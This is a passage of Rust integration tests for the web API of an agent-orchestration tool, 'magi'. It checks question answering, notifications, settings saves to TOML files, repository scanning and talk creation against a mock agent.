12515        assert_eq!(res.status, 200, "{}", res.body);
12516        assert_eq!(res.json()["answer"]["choice"], "hold");
12517        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12518        assert_eq!(res.json()["can_consult_chat"], false);
12519        assert_eq!(fx.post(&path, None).await.status, 409);
12520
12521        let mut talk = fx.talks().get(&talk.id).unwrap();
12522        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12523        let list = fx.get("/api/questions").await.json();
12524        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12525        assert_eq!(list[0]["origin_chat_closed"], true);
12526        assert_eq!(list[0]["can_consult_chat"], false);
12527
12528        fx.talks().remove(&talk.id).unwrap();
12529        let list = fx.get("/api/questions").await.json();
12530        assert_eq!(list[0]["origin_chat"], Value::Null);
12531        assert_eq!(list[0]["origin_chat_closed"], false);
12532        assert_eq!(list[0]["can_consult_chat"], false);
12533    }
12534
12535    #[tokio::test]
12536    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12537        let fx = Fixture::start().await;
12538        let store = fx.questions();
12539        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12540        store.beat(&id, ask::WaiterKind::Asker);
12541        assert_eq!(
12542            fx.get("/api/health").await.json()["questions_needs_owner"],
12543            1
12544        );
12545
12546        // The owner asks back instead of deciding: the ask bar, the nav badge
12547        // and the title must stop naming this question, because there is
12548        // nothing to decide until the agent answers - `status` alone cannot
12549        // say that, which is the whole reason `questions_needs_owner` exists
12550        // alongside `questions_open`.
12551        let res = fx
12552            .post(
12553                &format!("/api/questions/{id}/say"),
12554                Some(r#"{"body":"why not Postgres?"}"#),
12555            )
12556            .await;
12557        assert_eq!(res.status, 200, "{}", res.body);
12558        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12559        assert_eq!(
12560            fx.get("/api/health").await.json()["questions_needs_owner"],
12561            0,
12562            "waiting on the agent is not waiting on the owner"
12563        );
12564
12565        // `magi ask --thread` replying is what brings the owner count back -
12566        // the same event that would resume the CLI call blocked in `magi
12567        // ask`.
12568        let mut q = store.get(&id).expect("get");
12569        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12570            .expect("reply");
12571        store.put(&mut q).expect("put");
12572        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12573        assert_eq!(
12574            fx.get("/api/health").await.json()["questions_needs_owner"],
12575            1,
12576            "the agent's reply is what should light the banner back up"
12577        );
12578    }
12579
12580    #[tokio::test]
12581    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12582        let fx = Fixture::start().await;
12583        let store = fx.questions();
12584
12585        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12586        let res = fx
12587            .post(
12588                &format!("/api/questions/{empty_id}/say"),
12589                Some(r#"{"body":"   "}"#),
12590            )
12591            .await;
12592        assert_eq!(res.status, 400, "{}", res.body);
12593
12594        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12595        let mut answered = store.get(&answered_id).expect("get");
12596        answered
12597            .answer(Answer::Choice("SQLite".to_owned()))
12598            .expect("answer");
12599        store.put(&mut answered).expect("put");
12600        let res = fx
12601            .post(
12602                &format!("/api/questions/{answered_id}/say"),
12603                Some(r#"{"body":"still there?"}"#),
12604            )
12605            .await;
12606        assert_eq!(res.status, 409, "{}", res.body);
12607
12608        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12609        let mut abandoned = store.get(&abandoned_id).expect("get");
12610        abandoned.abandon("timed out");
12611        store.put(&mut abandoned).expect("put");
12612        let res = fx
12613            .post(
12614                &format!("/api/questions/{abandoned_id}/say"),
12615                Some(r#"{"body":"still there?"}"#),
12616            )
12617            .await;
12618        assert_eq!(res.status, 409, "{}", res.body);
12619    }
12620
12621    #[tokio::test]
12622    async fn an_answer_the_question_does_not_offer_is_refused() {
12623        let fx = Fixture::start().await;
12624        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12625        let path = format!("/api/questions/{id}/answer");
12626
12627        for body in [
12628            r#"{"choice":"Postgres"}"#,
12629            r#"{"text":"whatever you think"}"#,
12630            r#"{"choice":"Redis","text":"both"}"#,
12631            r#"{}"#,
12632        ] {
12633            let res = fx.post(&path, Some(body)).await;
12634            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12635            assert!(res.json()["error"].is_string(), "{}", res.body);
12636        }
12637        // Nothing above may have answered it.
12638        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12639    }
12640
12641    #[tokio::test]
12642    async fn a_free_text_question_takes_text_and_not_a_choice() {
12643        let fx = Fixture::start().await;
12644        let id = ask(&fx, "What should the flag be called?", &[]);
12645        fx.questions().beat(&id, ask::WaiterKind::Asker);
12646        let path = format!("/api/questions/{id}/answer");
12647
12648        assert_eq!(
12649            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12650            400
12651        );
12652        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12653        assert_eq!(res.status, 200, "{}", res.body);
12654        assert_eq!(res.json()["answer"]["text"], "--json");
12655    }
12656
12657    #[tokio::test]
12658    async fn an_unknown_question_is_a_json_404() {
12659        let fx = Fixture::start().await;
12660        let res = fx
12661            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12662            .await;
12663        assert_eq!(res.status, 404, "{}", res.body);
12664        assert!(res.json()["error"].is_string());
12665    }
12666
12667    #[tokio::test]
12668    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12669        let fx = Fixture::start().await;
12670        let questions = Questions::at(fx.home.path().join("questions"));
12671        let store = Notices::at(fx.home.path().join("notifications"));
12672        let mut q = ask::Question::new(
12673            "t1".into(),
12674            "conduct".into(),
12675            "conductor".into(),
12676            "Continue?".into(),
12677            String::new(),
12678            Vec::new(),
12679        );
12680        questions.put(&mut q).unwrap();
12681        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12682        n.covered_by = Some(q.id.clone());
12683        let n = store.raise(n).unwrap();
12684        let listed = fx.get("/api/notifications").await.json();
12685        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12686        questions
12687            .update(&q.id, |q| {
12688                q.abandon("run gone");
12689                Ok(())
12690            })
12691            .unwrap();
12692        let listed = fx.get("/api/notifications").await.json();
12693        assert!(listed["items"][0]["answerable_question"].is_null());
12694        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12695        assert!(
12696            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12697                .unwrap()
12698                .contains("answerable_question")
12699        );
12700    }
12701
12702    #[tokio::test]
12703    async fn notifications_list_read_dismiss_and_health_agree() {
12704        let fx = Fixture::start().await;
12705        let store = Notices::at(fx.home.path().join("notifications"));
12706        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12707        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12708
12709        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12710        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12711
12712        store
12713            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12714            .unwrap();
12715        let health = fx.get("/api/health").await.json();
12716        assert_eq!(health["notifications_unread"], 2);
12717        assert_ne!(
12718            health["notifications_rev"], rev0,
12719            "the badge must move live"
12720        );
12721
12722        let listed = fx.get("/api/notifications").await.json();
12723        assert_eq!(listed["unread"], 2);
12724        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12725        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12726
12727        let read = fx
12728            .post(&format!("/api/notifications/{}/read", a.id), None)
12729            .await;
12730        assert_eq!(read.status, 200, "{}", read.body);
12731        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12732
12733        let gone = fx
12734            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12735            .await;
12736        assert_eq!(gone.status, 200, "{}", gone.body);
12737        let listed = fx.get("/api/notifications").await.json();
12738        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12739        assert_eq!(listed["unread"], 0);
12740
12741        store.raise(Notice::info("x", "again")).unwrap();
12742        let all = fx.post("/api/notifications/read-all", None).await;
12743        assert_eq!(all.status, 200, "{}", all.body);
12744        assert_eq!(all.json()["marked"], 1);
12745        assert_eq!(
12746            fx.get("/api/health").await.json()["notifications_unread"],
12747            0
12748        );
12749
12750        let missing = fx.post("/api/notifications/nope/read", None).await;
12751        assert_eq!(missing.status, 404, "{}", missing.body);
12752        assert!(missing.json()["error"].is_string());
12753    }
12754
12755    /// New work reaches the queue through `magi task add`, a standing talk's
12756    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12757    /// so the compose form and that route are gone. The tests that covered
12758    /// that route's validation went with it, and nothing was left asserting
12759    /// it stays gone — so a re-added handler would silently let the phone
12760    /// file briefs no one validated.
12761    #[tokio::test]
12762    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12763        let f = Fixture::start().await;
12764
12765        let res = f
12766            .post(
12767                "/api/queue",
12768                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12769            )
12770            .await;
12771
12772        assert_eq!(
12773            res.status, 405,
12774            "POST /api/queue must not be a route: {}",
12775            res.body
12776        );
12777        assert!(
12778            f.queue().list().is_empty(),
12779            "a task filed by a route that does not exist must not reach the disk"
12780        );
12781        // The path itself is still served — the Queue view reads it — and the
12782        // per-task controls are untouched by the entry being removed.
12783        assert_eq!(f.get("/api/queue").await.status, 200);
12784    }
12785
12786    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12787    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12788        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12789            .expect("checkout dir");
12790    }
12791
12792    /// Two command agents, so a config needs no real CLI.
12793    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12794
12795    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12796        let tmp = TempDir::new().expect("tempdir");
12797        let repo = tmp.path().join("repo");
12798        std::fs::create_dir_all(&repo).expect("repo dir");
12799        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12800        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12801        if let Some(text) = machine_toml {
12802            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12803            std::fs::write(&machine, text).expect("machine toml");
12804        }
12805        (tmp, repo, machine)
12806    }
12807
12808    async fn settings_checkout(path: &FsPath, text: &str) {
12809        std::fs::create_dir_all(path).unwrap();
12810        std::fs::write(path.join("magi.toml"), text).unwrap();
12811        for args in [
12812            vec!["init", "-b", "main"],
12813            vec!["add", "magi.toml"],
12814            vec![
12815                "-c",
12816                "user.name=Test",
12817                "-c",
12818                "user.email=test@example.invalid",
12819                "commit",
12820                "-m",
12821                "fixture",
12822            ],
12823            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12824            vec![
12825                "symbolic-ref",
12826                "refs/remotes/origin/HEAD",
12827                "refs/remotes/origin/main",
12828            ],
12829        ] {
12830            crate::git::git(path, &args).await.unwrap();
12831        }
12832    }
12833
12834    #[tokio::test]
12835    async fn settings_context_handlers_validate_and_save_without_a_socket() {
12836        let (tmp, repo, machine) =
12837            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12838        let root = tmp.path().join("roots");
12839        let selected = root.join("host/owner/selected");
12840        settings_checkout(
12841            &selected,
12842            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12843        )
12844        .await;
12845        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12846        let before = std::fs::read(&machine).unwrap();
12847        let ui = Arc::new(
12848            Ui::new(
12849                Queue::at(tmp.path().join("queue")),
12850                Questions::at(tmp.path().join("questions")),
12851                Talks::at(tmp.path().join("talks")),
12852                tmp.path().join("runs"),
12853                tmp.path().to_path_buf(),
12854                repo.clone(),
12855            )
12856            .with_machine_config(Some(machine.clone())),
12857        );
12858        let query = || {
12859            Query(SettingsQuery {
12860                repo: Some(selected.clone()),
12861            })
12862        };
12863        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12864        assert!(v.error.is_none(), "{:?}", v.error);
12865        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12866        assert_eq!(conductor.source, "repo");
12867        assert_eq!(
12868            conductor.machine_value,
12869            Some(toml::Value::String("a".into()))
12870        );
12871        assert!(!conductor.editable);
12872        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12873        assert_eq!(
12874            judges.count.as_ref().unwrap().machine_value,
12875            Some(toml::Value::Integer(1))
12876        );
12877        assert!(
12878            !v.roles
12879                .iter()
12880                .find(|r| r.key == "reviewers")
12881                .unwrap()
12882                .editable
12883        );
12884        let unknown = || {
12885            Query(SettingsQuery {
12886                repo: Some(tmp.path().to_path_buf()),
12887            })
12888        };
12889        assert_eq!(
12890            settings_get(State(ui.clone()), unknown())
12891                .await
12892                .unwrap_err()
12893                .status,
12894            StatusCode::UNPROCESSABLE_ENTITY
12895        );
12896        let body = || {
12897            Ok(Json(RolesBody {
12898                revision: v.revision.clone(),
12899                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12900                counts: Default::default(),
12901            }))
12902        };
12903        assert_eq!(
12904            settings_put_roles(State(ui.clone()), unknown(), body())
12905                .await
12906                .unwrap_err()
12907                .status,
12908            StatusCode::UNPROCESSABLE_ENTITY
12909        );
12910        assert_eq!(std::fs::read(&machine).unwrap(), before);
12911        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12912            .await
12913            .unwrap();
12914        assert_eq!(
12915            saved.repo,
12916            selected.canonicalize().unwrap().display().to_string()
12917        );
12918        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12919        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12920        // A cache miss refreshes the stable candidate list exactly for validation.
12921        let fresh = root.join("host/owner/fresh");
12922        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12923        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12924            .await
12925            .unwrap();
12926        assert_eq!(fresh_view.repositories.len(), 3);
12927    }
12928
12929    #[tokio::test]
12930    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12931        let (tmp, repo, machine) = settings_dirs(
12932            "[roles]\nreviewers = [\"a\"]\n",
12933            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12934        );
12935        let root = tmp.path().join("roots");
12936        let selected = root.join("host/owner/selected");
12937        settings_checkout(
12938            &selected,
12939            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12940        )
12941        .await;
12942        let broken = root.join("host/owner/broken");
12943        settings_checkout(&broken, "[roles\nbroken").await;
12944        let machine_text = format!(
12945            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12946            toml::Value::String(root.display().to_string())
12947        );
12948        std::fs::write(&machine, &machine_text).unwrap();
12949        let originals: Vec<_> = [&repo, &selected, &broken]
12950            .iter()
12951            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12952            .collect();
12953        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12954        let default = f.get("/api/settings").await.json();
12955        assert_eq!(
12956            default["repo"],
12957            repo.canonicalize().unwrap().display().to_string()
12958        );
12959        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12960        let query = format!("?repo={}", selected.display());
12961        let res = f.get(&format!("/api/settings{query}")).await;
12962        assert_eq!(res.status, 200, "{}", res.body);
12963        let v = res.json();
12964        assert!(v["error"].is_null(), "{v}");
12965        assert_eq!(v["repositories"], default["repositories"]);
12966        let role = |key: &str| {
12967            v["roles"]
12968                .as_array()
12969                .unwrap()
12970                .iter()
12971                .find(|r| r["key"] == key)
12972                .unwrap()
12973        };
12974        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12975        assert_eq!(role("advisors")["source"], "repo");
12976        assert_eq!(role("advisors")["editable"], false);
12977        assert!(role("advisors")["machine_value"].is_null());
12978        assert_eq!(role("judges")["count"]["value"], 2);
12979        assert_eq!(role("judges")["count"]["machine_value"], 1);
12980        assert_eq!(role("judges")["count"]["source"], "repo");
12981        let source = role("judges")["count"]["source_path"].as_str().unwrap();
12982        assert!(
12983            source.contains("origin/main") && !source.contains("magi/config/"),
12984            "{source}"
12985        );
12986        assert_eq!(
12987            role("reviewers")["editable"],
12988            false,
12989            "default context outside roots must protect its declarations"
12990        );
12991        let body =
12992            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12993        let unknown = format!("?repo={}", tmp.path().display());
12994        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12995        assert_eq!(
12996            f.put(&format!("/api/settings/roles{unknown}"), &body)
12997                .await
12998                .status,
12999            422
13000        );
13001        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13002        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13003            .to_string();
13004        assert_eq!(
13005            f.put(&format!("/api/settings/roles{query}"), &refuse)
13006                .await
13007                .status,
13008            422
13009        );
13010        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13011        assert_eq!(saved.status, 200, "{}", saved.body);
13012        assert_eq!(saved.json()["repo"], v["repo"]);
13013        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13014        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13015        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13016            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13017        }
13018        let error = f
13019            .get(&format!("/api/settings?repo={}", broken.display()))
13020            .await;
13021        assert_eq!(error.status, 200);
13022        assert!(error.json()["error"]["message"].is_string());
13023        assert_eq!(error.json()["repositories"], default["repositories"]);
13024    }
13025
13026    #[tokio::test]
13027    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13028        let (_tmp, repo, machine) =
13029            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13030        let f = Fixture::with_repo_and_machine(repo, machine).await;
13031        let res = f.get("/api/settings").await;
13032        assert_eq!(res.status, 200, "{}", res.body);
13033        let v = res.json();
13034        assert!(v["error"].is_null(), "{v}");
13035        let role = |k: &str| {
13036            v["roles"]
13037                .as_array()
13038                .and_then(|r| r.iter().find(|x| x["key"] == k))
13039                .cloned()
13040                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13041        };
13042        assert_eq!(role("judges")["source"], "machine");
13043        assert_eq!(role("judges")["editable"], true);
13044        assert_eq!(role("implementers")["source"], "default");
13045        let adv = role("advisors");
13046        assert_eq!(adv["fallback"], "judges");
13047        assert!(
13048            adv["seats"]
13049                .as_array()
13050                .is_some_and(|s| s.iter().all(|x| x == "b")),
13051            "{adv}"
13052        );
13053        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13054        assert_eq!(v["agents"][0]["source"], "repo");
13055    }
13056
13057    #[tokio::test]
13058    async fn settings_get_reports_a_config_that_does_not_parse() {
13059        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13060        let f = Fixture::with_repo_and_machine(repo, machine).await;
13061        let res = f.get("/api/settings").await;
13062        assert_eq!(res.status, 200, "{}", res.body);
13063        let v = res.json();
13064        assert!(v["error"]["message"].is_string(), "{v}");
13065        assert!(
13066            v["error"]["path"]
13067                .as_str()
13068                .is_some_and(|p| p.ends_with("magi.toml")),
13069            "{v}"
13070        );
13071        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13072    }
13073
13074    #[tokio::test]
13075    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13076        let (_tmp, repo, machine) = settings_dirs(
13077            SETTINGS_AGENTS,
13078            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13079        );
13080        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13081        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13082        let rev = f.get("/api/settings").await.json()["revision"]
13083            .as_str()
13084            .expect("revision")
13085            .to_owned();
13086        let body = serde_json::json!({
13087            "revision": rev,
13088            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13089        })
13090        .to_string();
13091        let res = f.put("/api/settings/roles", &body).await;
13092        assert_eq!(res.status, 200, "{}", res.body);
13093        let text = std::fs::read_to_string(&machine).expect("machine");
13094        assert_eq!(
13095            text,
13096            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13097        );
13098        assert_eq!(
13099            std::fs::read(repo.join("magi.toml")).expect("read"),
13100            repo_before
13101        );
13102        let again = f.get("/api/settings").await.json();
13103        let judges = again["roles"]
13104            .as_array()
13105            .expect("roles")
13106            .iter()
13107            .find(|r| r["key"] == "judges")
13108            .expect("judges")
13109            .clone();
13110        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13111        // The old revision is now stale.
13112        let stale = f.put("/api/settings/roles", &body).await;
13113        assert_eq!(stale.status, 409, "{}", stale.body);
13114    }
13115
13116    #[tokio::test]
13117    async fn settings_counts_are_reported_and_saved() {
13118        let (_tmp, repo, machine) = settings_dirs(
13119            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13120            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13121        );
13122        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13123        let v = f.get("/api/settings").await.json();
13124        let count = |v: &serde_json::Value, k: &str| {
13125            v["roles"]
13126                .as_array()
13127                .and_then(|r| r.iter().find(|x| x["key"] == k))
13128                .map(|x| x["count"].clone())
13129                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13130        };
13131        let imp = count(&v, "implementers");
13132        assert_eq!(imp["value"], 2);
13133        assert_eq!(imp["source"], "machine");
13134        assert_eq!(imp["file_key"], "candidates");
13135        assert_eq!(imp["roster_len"], 2);
13136        assert_eq!(imp["backups"], 0);
13137        assert_eq!(count(&v, "judges")["source"], "default");
13138        assert_eq!(count(&v, "advisors")["min"], 0);
13139        assert_eq!(count(&v, "reviewers")["editable"], false);
13140        assert!(
13141            count(&v, "reviewers")["locked_reason"]
13142                .as_str()
13143                .is_some_and(|m| m.contains("graph.reviewers"))
13144        );
13145        assert!(count(&v, "fixer").is_null());
13146        let rev = v["revision"].as_str().expect("revision").to_owned();
13147        let body = serde_json::json!({
13148            "revision": rev,
13149            "roles": { "judges": ["b"] },
13150            "counts": { "implementers": 1, "advisors": 0 }
13151        })
13152        .to_string();
13153        let res = f.put("/api/settings/roles", &body).await;
13154        assert_eq!(res.status, 200, "{}", res.body);
13155        let text = std::fs::read_to_string(&machine).expect("machine");
13156        assert_eq!(
13157            text,
13158            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13159        );
13160        let after = f.get("/api/settings").await.json();
13161        assert_eq!(count(&after, "implementers")["value"], 1);
13162        assert_eq!(count(&after, "implementers")["backups"], 1);
13163        assert_eq!(count(&after, "advisors")["value"], 0);
13164        let before = std::fs::read_to_string(&machine).expect("machine");
13165        let rev = after["revision"].as_str().expect("revision").to_owned();
13166        for counts in [
13167            serde_json::json!({ "judges": 0 }),
13168            serde_json::json!({ "judges": "x" }),
13169            serde_json::json!({ "judges": 2.5 }),
13170            serde_json::json!({ "judges": -1 }),
13171            serde_json::json!({ "reviewers": 3 }),
13172            serde_json::json!({ "bogus": 3 }),
13173        ] {
13174            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13175            let res = f.put("/api/settings/roles", &body).await;
13176            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13177            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13178        }
13179    }
13180
13181    #[tokio::test]
13182    async fn settings_put_refuses_without_touching_the_file() {
13183        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13184        let (_tmp, repo, machine) = settings_dirs(
13185            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13186            Some(machine_text),
13187        );
13188        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13189        let rev = f.get("/api/settings").await.json()["revision"]
13190            .as_str()
13191            .expect("revision")
13192            .to_owned();
13193        for roles in [
13194            serde_json::json!({ "judges": ["nope"] }),
13195            serde_json::json!({ "reviewers": ["b"] }),
13196            serde_json::json!({ "bogus": ["a"] }),
13197        ] {
13198            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13199            let res = f.put("/api/settings/roles", &body).await;
13200            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13201            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13202            assert_eq!(
13203                std::fs::read_to_string(&machine).expect("machine"),
13204                machine_text
13205            );
13206        }
13207    }
13208
13209    #[tokio::test]
13210    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13211        let tmp = TempDir::new().expect("tempdir");
13212        let repo = tmp.path().join("repo");
13213        std::fs::create_dir_all(&repo).expect("repo dir");
13214        let root = tmp.path().join("root");
13215        make_checkout(&root, "github.com", "yukimemi", "magi");
13216        std::fs::write(
13217            repo.join("magi.toml"),
13218            format!(
13219                "[repos]\nroots = [{:?}]\n",
13220                root.to_string_lossy().into_owned()
13221            ),
13222        )
13223        .expect("write magi.toml");
13224
13225        let f = Fixture::with_repo(repo).await;
13226        let res = f.get("/api/repos").await;
13227        assert_eq!(res.status, 200, "{}", res.body);
13228        let list = res.json();
13229        let repos = list.as_array().expect("an array");
13230        assert_eq!(repos.len(), 1);
13231        assert_eq!(repos[0]["name"], "yukimemi/magi");
13232        assert!(
13233            repos[0]["path"]
13234                .as_str()
13235                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13236            "{list}"
13237        );
13238    }
13239
13240    #[tokio::test]
13241    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13242        let tmp = TempDir::new().expect("tempdir");
13243        let repo = tmp.path().join("repo");
13244        std::fs::create_dir_all(&repo).expect("repo dir");
13245        let root = tmp.path().join("root");
13246        make_checkout(&root, "github.com", "yukimemi", "magi");
13247        std::fs::write(
13248            repo.join("magi.toml"),
13249            format!(
13250                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13251                root.to_string_lossy().into_owned()
13252            ),
13253        )
13254        .expect("write magi.toml");
13255
13256        let f = Fixture::with_repo(repo).await;
13257        let first = f.get("/api/repos").await;
13258        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13259
13260        // A second checkout appears; within the TTL the cached answer must
13261        // not notice it.
13262        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13263        let second = f.get("/api/repos").await;
13264        assert_eq!(
13265            second.json().as_array().map(Vec::len),
13266            Some(1),
13267            "a fresh cache must not rescan inside the TTL"
13268        );
13269
13270        let refreshed = f.get("/api/repos?refresh=1").await;
13271        assert_eq!(
13272            refreshed.json().as_array().map(Vec::len),
13273            Some(2),
13274            "an explicit refresh must rescan even inside the TTL"
13275        );
13276    }
13277
13278    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13279    /// string, declared straight in a repository's own `magi.toml` rather
13280    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13281    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13282    /// this is safe to run over a real HTTP round trip.
13283    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13284
13285    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13286    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13287    /// even though it takes no turn, and `talk_say` invokes one.
13288    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13289        let tmp = TempDir::new().expect("tempdir");
13290        let repo = tmp.path().join("repo");
13291        std::fs::create_dir_all(&repo).expect("repo dir");
13292        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13293        let f = Fixture::with_repo(repo.clone()).await;
13294        (tmp, repo, f)
13295    }
13296
13297    #[tokio::test]
13298    async fn posting_a_talk_with_remembered_choices_is_soft() {
13299        let (_tmp, _repo, f) = talk_fixture().await;
13300
13301        let good = f
13302            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13303            .await;
13304        assert_eq!(good.status, 201, "{}", good.body);
13305        assert_eq!(good.json()["persona"], "rei");
13306
13307        // Wrong values and wrong types are dropped one by one, never a 4xx.
13308        let stale = f
13309            .post(
13310                "/api/talks",
13311                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13312            )
13313            .await;
13314        assert_eq!(stale.status, 201, "{}", stale.body);
13315        let v = stale.json();
13316        assert_eq!(v["implementers"], 1);
13317        assert_ne!(v["persona"], "nobody");
13318        let typed = f
13319            .post(
13320                "/api/talks",
13321                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13322            )
13323            .await;
13324        assert_eq!(typed.status, 201, "{}", typed.body);
13325
13326        // The strict `agent` field still refuses an unknown id.
13327        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13328        assert!(
13329            !strict.status.to_string().starts_with('2'),
13330            "{}",
13331            strict.body
13332        );
